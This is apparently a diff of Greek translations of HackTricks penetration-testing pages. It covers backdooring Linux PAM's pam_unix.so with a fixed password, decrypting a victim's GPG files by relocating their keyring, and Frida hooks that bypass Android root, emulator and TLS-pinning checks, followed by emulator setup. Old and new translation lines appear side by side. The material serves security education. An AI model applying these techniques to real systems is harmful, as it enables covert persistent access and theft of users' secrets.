**Objective**: Τροποποιήστε το PAM ώστε να επιτρέπει έλεγχο ταυτότητας με έναν συγκεκριμένο κωδικό, παρακάμπτοντας τον πραγματικό κωδικό χρήστη. Αυτό επικεντρώνεται ιδιαίτερα στη shared library `pam_unix.so` που χρησιμοποιείται από το αρχείο `common-auth`, το οποίο περιλαμβάνεται από σχεδόν όλες τις υπηρεσίες για την επαλήθευση κωδικού.
**Objective**: Τροποποιήστε το PAM ώστε να επιτρέπει authentication με ένα συγκεκριμένο password, παρακάμπτοντας το πραγματικό password του χρήστη. Αυτό εστιάζει ειδικά στη shared library `pam_unix.so` που χρησιμοποιείται από το αρχείο `common-auth`, το οποίο περιλαμβάνεται από σχεδόν όλες τις υπηρεσίες για την επαλήθευση του password.
### Steps for Modifying `pam_unix.so`:
1. **Locate the Authentication Directive** in the `common-auth` file:
- Η γραμμή που είναι υπεύθυνη για τον έλεγχο του κωδικού ενός χρήστη καλεί το `pam_unix.so`.
- Η γραμμή που είναι υπεύθυνη για τον έλεγχο του password ενός χρήστη καλεί τη `pam_unix.so`.
2. **Modify Source Code**:
- Προσθέστε μια συνθήκη στο αρχείο πηγαίου κώδικα `pam_unix_auth.c` που χορηγεί πρόσβαση αν χρησιμοποιηθεί ένας προκαθορισμένος κωδικός, διαφορετικά συνεχίζει με τη συνήθη διαδικασία ελέγχου ταυτότητας.
- Προσθέστε μια συνθήκη στο αρχείο πηγαίου κώδικα `pam_unix_auth.c` που θα δίνει πρόσβαση αν χρησιμοποιηθεί ένα προκαθορισμένο password, διαφορετικά προχωράει με τη συνήθη διαδικασία authentication.
3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory.
4. **Testing**:
- Η πρόσβαση χορηγείται σε διάφορες υπηρεσίες (login, ssh, sudo, su, screensaver) με τον προκαθορισμένο κωδικό, ενώ οι κανονικές διαδικασίες ελέγχου ταυτότητας παραμένουν ανεπηρέαστες.
- Η πρόσβαση επιτρέπεται σε διάφορες υπηρεσίες (login, ssh, sudo, su, screensaver) με το προκαθορισμένο password, ενώ οι κανονικές διαδικασίες authentication παραμένουν ανεπηρέαστες.
> [!TIP]
> Μπορείτε να αυτοματοποιήσετε αυτή τη διαδικασία με [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
## Decrypting GPG loot via homedir relocation
Εάν βρείτε ένα κρυπτογραφημένο `.gpg` αρχείο και τον φάκελο `~/.gnupg` ενός χρήστη (pubring, private-keys, trustdb) αλλά δεν μπορείτε να το αποκρυπτογραφήσετε λόγω permissions/locks στο GnuPG homedir, αντιγράψτε το keyring σε μια εγγράψιμη τοποθεσία και χρησιμοποιήστε το ως GPG home.
Αν βρείτε ένα κρυπτογραφημένο αρχείο `.gpg` και τον φάκελο `~/.gnupg` ενός χρήστη (pubring, private-keys, trustdb) αλλά δεν μπορείτε να αποκρυπτογραφήσετε λόγω δικαιωμάτων/κλειδώματος στο homedir του GnuPG, αντιγράψτε το keyring σε ένα εγγράψιμο σημείο και χρησιμοποιήστε το ως GPG home.
Typical errors youll see without this: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (επειδή το GPG δεν μπορεί να διαβάσει/γράψει τον αρχικό homedir).
Τυπικά σφάλματα που θα δείτε χωρίς αυτό: "unsafe ownership on homedir", "failed to create temporary file", ή "decryption failed: No secret key" (επειδή το GPG δεν μπορεί να διαβάσει/γράψει το αρχικό homedir).
Workflow:
Ροή εργασίας:
```bash
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
@ -69,7 +70,7 @@ GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
```
Εάν το secret key material είναι παρόν στο `private-keys-v1.d`, το GPG θα ξεκλειδώσει και θα αποκρυπτογραφήσει χωρίς να ζητήσει passphrase (ή θα ζητήσει αν το key είναι προστατευμένο).
Εάν το υλικό του ιδιωτικού κλειδιού βρίσκεται στο `private-keys-v1.d`, το GPG θα ξεκλειδώσει και θα αποκρυπτογραφήσει χωρίς να ζητήσει passphrase (ή θα ζητήσει αν το κλειδί είναι προστατευμένο).
## Αναφορές

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -2,14 +2,14 @@
{{#include ../../banners/hacktricks-training.md}}
Αυτή η σελίδα παρέχει ένα πρακτικό workflow για να επανακτήσετε dynamic analysis απέναντι σε Android εφαρμογές που ανιχνεύουν/blockαρουν instrumentation λόγω root ή επιβάλλουν TLS pinning. Εστιάζει σε γρήγορο triage, κοινές ανιχνεύσεις και copypasteable hooks/tactics για να τις παρακάμψετε χωρίς repacking όταν είναι δυνατόν.
Αυτή η σελίδα παρέχει μια πρακτική ροή εργασίας για να ανακτήσετε τη dynamic analysis ενάντια σε Android apps που ανιχνεύουν/rootμπλοκάρουν instrumentation ή επιβάλλουν TLS pinning. Εστιάζει στην ταχεία αξιολόγηση, στις κοινές ανιχνεύσεις και σε copypasteable hooks/tactics για να τα παρακάμψετε χωρίς repacking όταν είναι δυνατόν.
## Detection Surface (what apps check)
- Root checks: su binary, Magisk paths, getprop values, common root packages
- Έλεγχοι root: su binary, Magisk paths, getprop values, common root packages
- Frida/debugger checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs
- Native antidebug: ptrace(), syscalls, antiattach, breakpoints, inline hooks
- Early init checks: Application.onCreate() or process start hooks that crash if instrumentation is present
- Έλεγχοι πρώιμης εκκίνησης: Application.onCreate() ή hooks κατά την εκκίνηση της διεργασίας που κάνουν crash αν υπάρχει instrumentation
- TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins
## Step 1 — Quick win: hide root with Magisk DenyList
@ -18,7 +18,7 @@
- Ενεργοποιήστε το DenyList, προσθέστε το target package
- Επανεκκινήστε και επανελέγξτε
Πολλές εφαρμογές κοιτάνε μόνο για προφανή δείκτες (su/Magisk paths/getprop). Το DenyList συχνά αδρανοποιεί τέτοιους naive ελέγχους.
Πολλές εφαρμογές κοιτάνε μόνο για προφανείς ενδείξεις (su/Magisk paths/getprop). Το DenyList συχνά εξουδετερώνει τους απλοϊκούς ελέγχους.
References:
- Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
@ -35,13 +35,13 @@ Example:
```bash
frida -U -f com.example.app -l anti-frida-detection.js
```
Αυτά συνήθως stub-άρουν Java root/debug checks, process/service scans και native ptrace(). Χρήσιμα σε ελαφρώς προστατευμένες εφαρμογές· hardened targets μπορεί να χρειαστούν tailored hooks.
Αυτά συνήθως αντικαθιστούν (stub) Java root/debug checks, process/service scans και native ptrace(). Χρήσιμα σε lightly protected apps· hardened targets μπορεί να χρειάζονται tailored hooks.
- Codeshare: https://codeshare.frida.re/
## Αυτοματοποιήστε με Medusa (Frida framework)
Η Medusa παρέχει 90+ έτοιμα modules για SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception, και άλλα.
Το Medusa παρέχει 90+ έτοιμα modules για SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception και άλλα.
```bash
git clone https://github.com/Ch0pin/medusa
cd medusa
@ -54,40 +54,40 @@ use http_communications/multiple_unpinner
use root_detection/universal_root_detection_bypass
run com.target.app
```
Συμβουλή: Η Medusa είναι εξαιρετική για γρήγορα αποτελέσματα πριν γράψετε custom hooks. Μπορείτε επίσης να επιλέξετε modules και να τα συνδυάσετε με τα δικά σας scripts.
Συμβουλή: Το Medusa είναι εξαιρετικό για γρήγορες νίκες πριν γράψετε custom hooks. Μπορείτε επίσης να cherry-pick modules και να τα συνδυάσετε με τα δικά σας scripts.
## Βήμα 3 — Παράκαμψη των init-time ανιχνευτών με καθυστερημένη προσάρτηση
## Βήμα 3 — Παράκαμψη των init-time detectors με σύνδεση αργότερα
Πολλές ανιχνεύσεις εκτελούνται μόνο κατά το process spawn/onCreate(). Η spawntime injection (-f) ή τα gadgets εντοπίζονται· η προσάρτηση μετά τη φόρτωση του UI μπορεί να περάσει απαρατήρητη.
Πολλές ανιχνεύσεις τρέχουν μόνο κατά το process spawn/onCreate(). Η spawntime injection (-f) ή τα gadgets εντοπίζονται· η σύνδεση μετά τη φόρτωση του UI μπορεί να περάσει απαρατήρητη.
```bash
# Launch the app normally (launcher/adb), wait for UI, then attach
frida -U -n com.example.app
# Or with Objection to attach to running process
aobjection --gadget com.example.app explore # if using gadget
```
Αν αυτό λειτουργήσει, διατηρήστε τη συνεδρία σταθερή και προχωρήστε στη χαρτογράφηση και στους ελέγχους stub.
Αν αυτό λειτουργήσει, κράτησε τη συνεδρία σταθερή και προχώρα στη χαρτογράφηση και στους ελέγχους των stubs.
## Βήμα 4 — Χαρτογράφηση της λογικής ανίχνευσης μέσω Jadx και αναζήτησης συμβολοσειρών
## Βήμα 4 — Χαρτογράφησε τη λογική ανίχνευσης μέσω Jadx και αναζήτησης συμβολοσειρών
Στατικές λέξεις-κλειδιά (triage) στο Jadx:
Στατικές λέξεις-κλειδιά στο Jadx:
- "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
Συνήθη μοτίβα Java:
Τυπικά μοτίβα Java:
```java
public boolean isFridaDetected() {
return getRunningServices().contains("frida");
}
```
Common APIs to review/hook:
Συνηθισμένα APIs προς review/hook:
- android.os.Debug.isDebuggerConnected
- android.app.ActivityManager.getRunningAppProcesses / getRunningServices
- java.lang.System.loadLibrary / System.load (native bridge)
- java.lang.Runtime.exec / ProcessBuilder (probing commands)
- android.os.SystemProperties.get (root/emulator heuristics)
- java.lang.System.loadLibrary / System.load (γέφυρα εγγενούς κώδικα)
- java.lang.Runtime.exec / ProcessBuilder (εντολές ανίχνευσης)
- android.os.SystemProperties.get (ευριστικές για root/emulator)
## Βήμα 5 — Runtime stubbing με Frida (Java)
## Βήμα 5 — Runtime stubbing with Frida (Java)
Παρακάμψτε custom guards ώστε να επιστρέφουν ασφαλείς τιμές χωρίς repacking:
Override custom guards για να επιστρέφουν safe values χωρίς repacking:
```js
Java.perform(() => {
const Checks = Java.use('com.example.security.Checks');
@ -102,7 +102,7 @@ const AM = Java.use('android.app.ActivityManager');
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
});
```
Διερευνάτε early crashes; Dump classes ακριβώς πριν τερματιστεί για να εντοπίσετε πιθανές detection namespaces:
Αναλύετε πρώιμες καταρρεύσεις; Dump classes λίγο πριν καταρρεύσει για να εντοπίσετε πιθανές detection namespaces:
```js
Java.perform(() => {
Java.enumerateLoadedClasses({
@ -119,7 +119,7 @@ RootChecker.isDeviceRooted.implementation = function () { return false; };
} catch (e) {}
});
Καταγράψτε και αδρανοποιήστε ύποπτες μεθόδους για να επιβεβαιώσετε τη ροή εκτέλεσης:
Καταγράψτε και ουδετεροποιήστε ύποπτες μεθόδους για να επιβεβαιώσετε τη ροή εκτέλεσης:
```js
Java.perform(() => {
const Det = Java.use('com.example.security.DetectionManager');
@ -131,9 +131,9 @@ return false;
```
## Bypass emulator/VM detection (Java stubs)
Συνηθισμένες ευρετικές μέθοδοι: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE που περιέχουν generic/goldfish/ranchu/sdk; ενδείξεις QEMU όπως /dev/qemu_pipe, /dev/socket/qemud; default MAC 02:00:00:00:00:00; 10.0.2.x NAT; απουσία telephony/sensors.
Συνηθισμένες ευρετικές μέθοδοι: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE που περιέχουν generic/goldfish/ranchu/sdk; QEMU artifacts όπως /dev/qemu_pipe, /dev/socket/qemud; προεπιλεγμένη MAC 02:00:00:00:00:00; 10.0.2.x NAT; έλλειψη τηλεφωνίας/αισθητήρων.
Γρήγορη παραποίηση των Build fields:
Γρήγορο spoof των Build fields:
```js
Java.perform(function(){
var Build = Java.use('android.os.Build');
@ -143,11 +143,11 @@ Build.BRAND.value = 'google';
Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys';
});
```
Συμπληρώστε με stubs για ελέγχους ύπαρξης αρχείων και αναγνωριστικά (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) ώστε να επιστρέφουν ρεαλιστικές τιμές.
Συμπληρώστε με stubs για ελέγχους ύπαρξης αρχείων και για αναγνωριστικά (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) ώστε να επιστρέφουν ρεαλιστικές τιμές.
## SSL pinning bypass quick hook (Java)
Αχρηστεύστε προσαρμοσμένους TrustManagers και επιβάλετε επιεικείς SSL contexts:
Αδρανοποιήστε προσαρμοσμένους TrustManagers και εξαναγκάστε permissive SSL contexts:
```js
Java.perform(function(){
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
@ -166,27 +166,27 @@ return SSLContextInit.call(this, km, TrustManagers, sr);
});
```
Σημειώσεις
- Επεκτείνετε για OkHttp: κάντε hook το okhttp3.CertificatePinner και το HostnameVerifier όπως χρειάζεται, ή χρησιμοποιήστε ένα universal unpinning script από CodeShare.
- Επεκτείνετε για OkHttp: hook okhttp3.CertificatePinner και HostnameVerifier όπως χρειάζεται, ή χρησιμοποιήστε ένα universal unpinning script από CodeShare.
- Παράδειγμα εκτέλεσης: `frida -U -f com.target.app -l ssl-bypass.js --no-pause`
## Step 6 — Ακολουθήστε το JNI/native μονοπάτι όταν τα Java hooks αποτυγχάνουν
## Βήμα 6 — Ακολουθήστε το JNI/native μονοπάτι όταν τα Java hooks αποτύχουν
Ανιχνεύστε τα σημεία εισόδου JNI για να εντοπίσετε native loaders και την αρχικοποίηση της ανίχνευσης:
Ιχνηλατήστε τα σημεία εισόδου JNI για να εντοπίσετε native loaders και detection init:
```bash
frida-trace -n com.example.app -i "JNI_OnLoad"
```
Γρήγορη εγγενής διαλογή των συσκευασμένων αρχείων .so:
Γρήγορη native triage των bundled .so files:
```bash
# List exported symbols & JNI
nm -D libfoo.so | head
objdump -T libfoo.so | grep Java_
strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'
```
Διαδραστική/εγγενής reversing:
Διαδραστική/native reversing:
- Ghidra: https://ghidra-sre.org/
- r2frida: https://github.com/nowsecure/r2frida
Παράδειγμα: αδρανοποίηση του ptrace για να παρακάμψετε απλό antidebug στο libc:
Παράδειγμα: Αδρανοποιήστε ptrace για να παρακάμψετε απλό antidebug στο libc:
```js
const ptrace = Module.findExportByName(null, 'ptrace');
if (ptrace) {
@ -202,22 +202,22 @@ reversing-native-libraries.md
## Βήμα 7 — Objection patching (embed gadget / strip basics)
Όταν προτιμάτε το repacking αντί για runtime hooks, δοκιμάστε:
Όταν προτιμάτε το repacking από τα runtime hooks, δοκιμάστε:
```bash
objection patchapk --source app.apk
```
Σημειώσεις:
- Απαιτεί apktool; βεβαιωθείτε για μια τρέχουσα έκδοση από τον επίσημο οδηγό για να αποφύγετε προβλήματα build: https://apktool.org/docs/install
- Gadget injection επιτρέπει instrumentation χωρίς root αλλά μπορεί ακόμα να εντοπιστεί από ισχυρότερους ελέγχους inittime.
- Απαιτεί apktool· βεβαιωθείτε ότι έχετε μια ενημερωμένη έκδοση από τον επίσημο οδηγό για να αποφύγετε προβλήματα build: https://apktool.org/docs/install
- Το Gadget injection επιτρέπει instrumentation χωρίς root, αλλά μπορεί να εντοπιστεί από ισχυρότερους inittime checks.
Προαιρετικά, προσθέστε LSPosed modules και Shamiko για ισχυρότερη απόκρυψη root σε περιβάλλοντα Zygisk, και επιμεληθείτε τη DenyList ώστε να καλύπτει child processes.
Προαιρετικά, προσθέστε LSPosed modules και Shamiko για πιο ισχυρό root hiding σε περιβάλλοντα Zygisk, και επιμεληθείτε τη DenyList ώστε να καλύπτει child processes.
Αναφορές:
- Objection: https://github.com/sensepost/objection
## Βήμα 8 — Εφεδρική λύση: Patch TLS pinning για ορατότητα του δικτύου
## Step 8 — Εφεδρική λύση: Patch TLS pinning για ορατότητα δικτύου
Εάν το instrumentation αποκλείεται, μπορείτε ακόμα να ελέγξετε την κίνηση αφαιρώντας στατικά το pinning:
Αν το instrumentation μπλοκαριστεί, μπορείτε ακόμα να ελέγξετε την κίνηση αφαιρώντας το pinning στατικά:
```bash
apk-mitm app.apk
# Then install the patched APK and proxy via Burp/mitmproxy
@ -233,7 +233,7 @@ make-apk-accept-ca-certificate.md
install-burp-certificate.md
{{#endref}}
## Χρήσιμη σύνοψη εντολών
## Χρήσιμη λίστα εντολών
```bash
# List processes and attach
frida-ps -Uai
@ -253,10 +253,10 @@ apk-mitm app.apk
```
## Συμβουλές & προειδοποιήσεις
- Προτιμήστε το attaching αργά αντί για το spawning όταν οι εφαρμογές καταρρέουν κατά την εκκίνηση
- Ορισμένες ανιχνεύσεις επανεκτελούνται σε κρίσιμες ροές (π.χ., payment, auth) — κρατήστε τα hooks ενεργά κατά την πλοήγηση
- Συνδυάστε static και dynamic: κάνετε string hunt στο Jadx για να περιορίσετε τις κλάσεις; στη συνέχεια hook methods για να τα επαληθεύσετε στο runtime
- Οι hardened εφαρμογές μπορεί να χρησιμοποιούν packers και native TLS pinning — αναμένετε να χρειαστεί να reverse native code
- Προτιμήστε το attaching αργότερα αντί του spawning όταν οι apps crash κατά την εκκίνηση
- Ορισμένες detections επανεκτελούνται σε κρίσιμες ροές (π.χ., payment, auth) — κρατήστε τα hooks ενεργά κατά την πλοήγηση
- Συνδυάστε static και dynamic: string hunt στο Jadx για να shortlistάρετε κλάσεις· στη συνέχεια κάντε hook σε methods για να επαληθεύσετε σε runtime
- Εφαρμογές με hardening μπορεί να χρησιμοποιούν packers και native TLS pinning — περιμένετε να reverse native code
## Αναφορές

View File

@ -2,25 +2,25 @@
{{#include ../../banners/hacktricks-training.md}}
Ευχαριστώ πολύ τον [**@offsecjay**](https://twitter.com/offsecjay) για τη βοήθειά του στη δημιουργία αυτού του περιεχομένου.
Ευχαριστώ πολύ τον [**@offsecjay**](https://twitter.com/offsecjay) για τη βοήθειά του κατά τη δημιουργία αυτού του περιεχομένου.
## Τι είναι
Το Android Studio επιτρέπει να **τρέξετε εικονικές μηχανές Android που μπορείτε να χρησιμοποιήσετε για να δοκιμάσετε APKs**. Για να τις χρησιμοποιήσετε θα χρειαστείτε:
Android Studio επιτρέπει να **τρέχετε εικονικές συσκευές Android που μπορείτε να χρησιμοποιήσετε για να δοκιμάσετε APKs**. Για να τις χρησιμοποιήσετε θα χρειαστείτε:
- Τα **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools).
- Ή **Android Studio** (με Android SDK tools) - [Download here](https://developer.android.com/studio).
- The **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools).
- Or **Android Studio** (with Android SDK tools) - [Download here](https://developer.android.com/studio).
Σε Windows (στη δική μου περίπτωση) **μετά την εγκατάσταση του Android Studio** είχα τα **SDK Tools εγκατεστημένα στο**: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
Σε Windows (στην περίπτωσή μου) **μετά την εγκατάσταση του Android Studio** τα **SDK Tools ήταν εγκατεστημένα στο**: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
Σε mac μπορείτε να **κατεβάσετε τα SDK tools** και να τα έχετε στο PATH εκτελώντας:
```bash
brew tap homebrew/cask
brew install --cask android-sdk
```
Ή από **Android Studio GUI** όπως υποδεικνύεται στο [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) το οποίο θα τα εγκαταστήσει σε `~/Library/Android/sdk/cmdline-tools/latest/bin/` και `~/Library/Android/sdk/platform-tools/` και `~/Library/Android/sdk/emulator/`
Ή από το **Android Studio GUI** όπως υποδεικνύεται στο [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) το οποίο θα τα εγκαταστήσει σε `~/Library/Android/sdk/cmdline-tools/latest/bin/` και `~/Library/Android/sdk/platform-tools/` και `~/Library/Android/sdk/emulator/`
Για τα προβλήματα με την Java:
Για τα προβλήματα Java:
```java
export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
```
@ -40,34 +40,34 @@ Then, click on _**Create Virtual Device**_
<figure><img src="../../images/image (1143).png" alt="" width="188"><figcaption></figcaption></figure>
_**επιλέξτε** το τηλέφωνο που θέλετε να χρησιμοποιήσετε_ και κάντε κλικ στο _**Next.**_
_**select** the phone you want to use_ and click on _**Next.**_
> [!WARNING]
> Αν χρειάζεστε τηλέφωνο με εγκατεστημένο το Play Store επιλέξτε ένα με το εικονίδιο του Play Store!
> If you need a phone with Play Store installed select one with the Play Store icon on it!
>
> <img src="../../images/image (1144).png" alt="" data-size="original">
Στην τρέχουσα προβολή θα μπορείτε να **επιλέξετε και να κατεβάσετε την εικόνα Android** που θα εκτελεί το τηλέφωνο:
Στην τρέχουσα προβολή θα μπορείτε να **select and download the Android image** που θα τρέχει το τηλέφωνο:
<figure><img src="../../images/image (1145).png" alt="" width="375"><figcaption></figcaption></figure>
Άρα, επιλέξτε την και αν δεν είναι κατεβασμένη κάντε κλικ στο σύμβολο _**Download**_ δίπλα στο όνομα (**περιμένετε μέχρι να ολοκληρωθεί το κατέβασμα της εικόνας).**\
Έτσι, επιλέξτε το και αν δεν είναι κατεβασμένο κάντε κλικ στο σύμβολο _**Download**_ δίπλα στο όνομα (**now wait until the image is downloaded).**\
Μόλις η εικόνα κατέβει, απλά επιλέξτε **`Next`** και **`Finish`**.
Η εικονική μηχανή θα δημιουργηθεί. Τώρα **κάθε φορά που έχετε πρόσβαση στον AVD Manager θα είναι διαθέσιμη**.
Η εικονική μηχανή θα δημιουργηθεί. Τώρα **every time that you access AVD manager it will be present**.
### Εκτέλεση Εικονικής Μηχανής
### Run Virtual Machine
Για να την **τρέξετε** απλά πατήστε το _**Start button**_.
Για να την **run** πατήστε απλά το _**Start button**_.
![](<../../images/image (518).png>)
## Εργαλείο γραμμής εντολών
## Command Line tool
> [!WARNING]
> Για macOS μπορείτε να βρείτε το εργαλείο `avdmanager` στο `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` και τον `emulator` στο `/Users/<username>/Library/Android/sdk/emulator/emulator` αν τα έχετε εγκατεστημένα.
> For macOS you can find the `avdmanager` tool in `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` and the `emulator` in `/Users/<username>/Library/Android/sdk/emulator/emulator` if you have them installed.
Πρώτα από όλα πρέπει να **αποφασίσετε ποιο τηλέφωνο θέλετε να χρησιμοποιήσετε**, για να δείτε τη λίστα με τα δυνατά τηλέφωνα εκτελέστε:
Πρώτα απ' όλα πρέπει να **decide which phone you want to use**, για να δείτε τη λίστα με τα δυνατά τηλέφωνα εκτελέστε:
```
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device
@ -95,8 +95,8 @@ Name: Nexus 10
OEM : Google
[...]
```
Αφού αποφασίσετε το όνομα της συσκευής που θέλετε να χρησιμοποιήσετε, πρέπει να **αποφασίσετε ποιο Android image θέλετε να τρέξετε σε αυτή τη συσκευή.**\
Μπορείτε να δείτε όλες τις επιλογές χρησιμοποιώντας `sdkmanager`:
Μόλις αποφασίσετε το όνομα της συσκευής που θέλετε να χρησιμοποιήσετε, πρέπει να **επιλέξετε ποια εικόνα Android θέλετε να τρέξετε σε αυτή τη συσκευή.**\
Μπορείτε να απαριθμήσετε όλες τις επιλογές χρησιμοποιώντας το `sdkmanager`:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
```
@ -104,7 +104,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
```
Μόλις έχετε κατεβάσει την εικόνα Android που θέλετε να χρησιμοποιήσετε, μπορείτε να **εμφανίσετε όλες τις ληφθείσες εικόνες Android** με:
Μόλις έχετε κατεβάσει την Android εικόνα που θέλετε να χρησιμοποιήσετε, μπορείτε να **εμφανίσετε όλες τις κατεβασμένες Android εικόνες** με:
```
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target
----------
@ -120,12 +120,11 @@ Type: Platform
API level: 29
Revision: 4
```
Αυτή τη στιγμή έχετε αποφασίσει ποια συσκευή θέλετε να χρησιμοποιήσετε και έχετε κατεβάσει την εικόνα Android, οπότε **μπορείτε να δημιουργήσετε την εικονική μηχανή χρησιμοποιώντας**:
Σε αυτό το σημείο έχεις αποφασίσει τη συσκευή που θέλεις να χρησιμοποιήσεις και έχεις κατεβάσει το Android image, οπότε **μπορείς να δημιουργήσεις την εικονική μηχανή χρησιμοποιώντας**:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
```
Στην τελευταία εντολή **δημιούργησα μια VM με όνομα** "_AVD9_" χρησιμοποιώντας τη **συσκευή** "_Nexus 5X_" και την **Android image** "_system-images;android-28;google_apis;x86_64_".\
Τώρα μπορείτε **να απαριθμήσετε τις εικονικές μηχανές** που έχετε δημιουργήσει με:
Στην τελευταία εντολή **δημιούργησα ένα VM με όνομα** "_AVD9_" χρησιμοποιώντας τη **συσκευή** "_Nexus 5X_" και την **εικόνα Android** "_system-images;android-28;google_apis;x86_64_".\ Τώρα μπορείτε να **απαριθμήσετε τις εικονικές μηχανές** που έχετε δημιουργήσει με:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
@ -151,44 +150,44 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
AVD9
Pixel_2_API_27
```
Μπορείτε απλά να **τρέξετε οποιαδήποτε εικονική μηχανή που έχετε δημιουργήσει** χρησιμοποιώντας:
Μπορείτε απλά να **τρέξετε οποιαδήποτε δημιουργημένη εικονική μηχανή** χρησιμοποιώντας:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName"
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9"
```
Ή χρησιμοποιώντας πιο προηγμένες επιλογές μπορείτε να τρέξετε μια virtual machine όπως:
Ή χρησιμοποιώντας πιο προηγμένες επιλογές μπορείτε να εκτελέσετε μια εικονική μηχανή όπως:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
```
### Επιλογές γραμμής εντολών
Ωστόσο υπάρχουν **πολλές διαφορετικές χρήσιμες επιλογές γραμμής εντολών** που μπορείτε να χρησιμοποιήσετε για να ξεκινήσετε μια virtual μηχανή. Παρακάτω μπορείτε να βρείτε μερικές ενδιαφέρουσες επιλογές αλλά μπορείτε [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline)
Ωστόσο υπάρχουν **πολλές διαφορετικές χρήσιμες επιλογές γραμμής εντολών** που μπορείτε να χρησιμοποιήσετε για να ξεκινήσετε μια εικονική μηχανή. Παρακάτω μπορείτε να βρείτε μερικές ενδιαφέρουσες επιλογές αλλά μπορείτε [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline)
**Εκκίνηση**
- `-snapshot name` : Εκκίνηση snapshot του VM
- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : Λίστα όλων των snapshots που έχουν καταγραφεί
- `-snapshot name` : Εκκίνηση snapshot της VM
- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : Εμφανίζει όλα τα καταγεγραμμένα snapshots
**Δίκτυο**
- `-dns-server 192.0.2.0, 192.0.2.255` : Επιτρέπει τον καθορισμό, με κόμμα, των DNS servers για το VM.
- **`-http-proxy 192.168.1.12:8080`** : Επιτρέπει τον καθορισμό ενός HTTP proxy προς χρήση (πολύ χρήσιμο για την καταγραφή της κίνησης με Burp)
- If the proxy settings aren't working for some reason, try to configure them internally or using an pplication like "Super Proxy" or "ProxyDroid".
- `-netdelay 200` : Ορίζει την προσομοίωση καθυστέρησης δικτύου σε milliseconds.
- `-port 5556` : Ορίζει τον αριθμό TCP port που χρησιμοποιείται για την κονσόλα και το adb.
- `-ports 5556,5559` : Ορίζει τις TCP θύρες που χρησιμοποιούνται για την κονσόλα και το adb.
- `-dns-server 192.0.2.0, 192.0.2.255` : Επιτρέπει να υποδείξετε τους DNS servers στην VM, χωρισμένους με κόμμα.
- **`-http-proxy 192.168.1.12:8080`** : Επιτρέπει να ορίσετε έναν HTTP proxy για χρήση (πολύ χρήσιμο για την καταγραφή της κυκλοφορίας με χρήση του Burp)
- Εάν οι ρυθμίσεις proxy δεν λειτουργούν για κάποιο λόγο, δοκιμάστε να τις ρυθμίσετε εσωτερικά ή χρησιμοποιώντας μια εφαρμογή όπως "Super Proxy" ή "ProxyDroid".
- `-netdelay 200` : Ρυθμίζει την προσομοίωση καθυστέρησης δικτύου σε milliseconds.
- `-port 5556` : Ορίζει τον αριθμό θύρας TCP που χρησιμοποιείται για το console και το adb.
- `-ports 5556,5559` : Ορίζει τις TCP θύρες που χρησιμοποιούνται για το console και το adb.
